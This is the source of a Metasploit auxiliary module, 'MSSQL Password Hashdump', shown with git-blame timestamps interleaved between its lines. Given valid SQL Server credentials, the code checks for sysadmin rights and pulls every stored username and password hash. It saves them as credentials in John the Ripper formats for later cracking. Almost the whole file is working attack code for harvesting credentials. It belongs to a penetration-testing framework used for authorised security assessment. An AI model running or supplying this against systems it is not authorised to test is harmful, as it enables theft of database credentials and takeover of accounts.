2011-07-30 21:07:22 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-07-30 21:07:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::MSSQL
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'MSSQL Password Hashdump',
|
|
|
|
'Description' => %Q{
|
|
|
|
This module extracts the usernames and encrypted password
|
|
|
|
hashes from a MSSQL server and stores them for later cracking.
|
|
|
|
This module also saves information about the server version and
|
|
|
|
table names, which can be used to seed the wordlist.
|
|
|
|
},
|
|
|
|
'Author' => ['theLightCosine'],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
|
|
|
if (not mssql_login_datastore)
|
|
|
|
print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-06-19 17:16:49 +00:00
|
|
|
service_data = {
|
|
|
|
address: ip,
|
|
|
|
port: rport,
|
|
|
|
service_name: 'mssql',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
origin_type: :service,
|
|
|
|
private_data: datastore['PASSWORD'],
|
|
|
|
private_type: :password,
|
|
|
|
username: datastore['USERNAME']
|
|
|
|
}
|
|
|
|
|
|
|
|
if datastore['USE_WINDOWS_AUTHENT']
|
2014-07-10 19:30:25 +00:00
|
|
|
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
2014-06-19 17:16:49 +00:00
|
|
|
credential_data[:realm_value] = datastore['DOMAIN']
|
|
|
|
end
|
|
|
|
credential_data.merge!(service_data)
|
|
|
|
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
|
|
|
last_attempted_at: DateTime.now,
|
2014-07-17 02:52:08 +00:00
|
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
2014-06-19 17:16:49 +00:00
|
|
|
}
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
|
2014-06-19 17:20:42 +00:00
|
|
|
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
|
|
|
|
|
|
|
|
unless is_sysadmin == 0
|
|
|
|
login_data[:access_level] = 'admin'
|
|
|
|
end
|
|
|
|
|
2014-06-19 17:16:49 +00:00
|
|
|
create_credential_login(login_data)
|
|
|
|
|
2015-04-03 11:12:23 +00:00
|
|
|
# Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
|
2013-08-30 21:28:54 +00:00
|
|
|
instancename= mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1]
|
|
|
|
print_status("Instance Name: #{instancename.inspect}")
|
|
|
|
version = mssql_query(mssql_sql_info())[:rows][0][0]
|
|
|
|
version_year = version.split('-')[0].slice(/\d\d\d\d/)
|
|
|
|
|
2014-06-19 17:20:42 +00:00
|
|
|
unless is_sysadmin == 0
|
|
|
|
mssql_hashes = mssql_hashdump(version_year)
|
|
|
|
unless mssql_hashes.nil?
|
|
|
|
report_hashes(mssql_hashes,version_year)
|
|
|
|
end
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2015-04-03 11:12:23 +00:00
|
|
|
# Stores the grabbed hashes as loot for later cracking
|
|
|
|
# The hash format is slightly different between 2k and 2k5/2k8
|
2013-08-30 21:28:54 +00:00
|
|
|
def report_hashes(mssql_hashes, version_year)
|
|
|
|
|
|
|
|
case version_year
|
|
|
|
when "2000"
|
2014-06-03 20:02:59 +00:00
|
|
|
hashtype = "mssql"
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2014-06-19 21:11:14 +00:00
|
|
|
when "2005", "2008"
|
2014-06-03 20:02:59 +00:00
|
|
|
hashtype = "mssql05"
|
2014-06-19 21:11:14 +00:00
|
|
|
when "2012", "2014"
|
|
|
|
hashtype = "mssql12"
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
this_service = report_service(
|
|
|
|
:host => datastore['RHOST'],
|
|
|
|
:port => datastore['RPORT'],
|
|
|
|
:name => 'mssql',
|
|
|
|
:proto => 'tcp'
|
|
|
|
)
|
|
|
|
|
|
|
|
tbl = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => 'MS SQL Server Hashes',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ['Username', 'Hash']
|
|
|
|
)
|
|
|
|
|
2014-06-03 20:02:59 +00:00
|
|
|
service_data = {
|
|
|
|
address: ::Rex::Socket.getaddress(rhost,true),
|
|
|
|
port: rport,
|
|
|
|
service_name: 'mssql',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
mssql_hashes.each do |row|
|
|
|
|
next if row[0].nil? or row[1].nil?
|
|
|
|
next if row[0].empty? or row[1].empty?
|
2014-06-03 20:02:59 +00:00
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
origin_type: :service,
|
|
|
|
private_type: :nonreplayable_hash,
|
2014-06-23 17:38:36 +00:00
|
|
|
private_data: "0x#{row[1]}",
|
2014-06-03 20:02:59 +00:00
|
|
|
username: row[0],
|
|
|
|
jtr_format: hashtype
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data.merge!(service_data)
|
|
|
|
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
2014-07-17 02:52:08 +00:00
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
2014-06-03 20:02:59 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
login = create_credential_login(login_data)
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
tbl << [row[0], row[1]]
|
|
|
|
print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-04-03 11:12:23 +00:00
|
|
|
# Grabs the user tables depending on what Version of MSSQL
|
|
|
|
# The queries are different between 2k and 2k/2k8
|
2013-08-30 21:28:54 +00:00
|
|
|
def mssql_hashdump(version_year)
|
|
|
|
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
|
|
|
|
|
|
|
|
if is_sysadmin == 0
|
|
|
|
print_error("#{rhost}:#{rport} - The provided credentials do not have privileges to read the password hashes")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
case version_year
|
|
|
|
when "2000"
|
|
|
|
results = mssql_query(mssql_2k_password_hashes())[:rows]
|
|
|
|
|
2014-06-03 20:02:59 +00:00
|
|
|
when "2005", "2008", "2012", "2014"
|
2013-08-30 21:28:54 +00:00
|
|
|
results = mssql_query(mssql_2k5_password_hashes())[:rows]
|
|
|
|
end
|
|
|
|
|
|
|
|
return results
|
|
|
|
|
|
|
|
end
|
2011-07-30 21:07:22 +00:00
|
|
|
|
|
|
|
|
|
|
|
end
|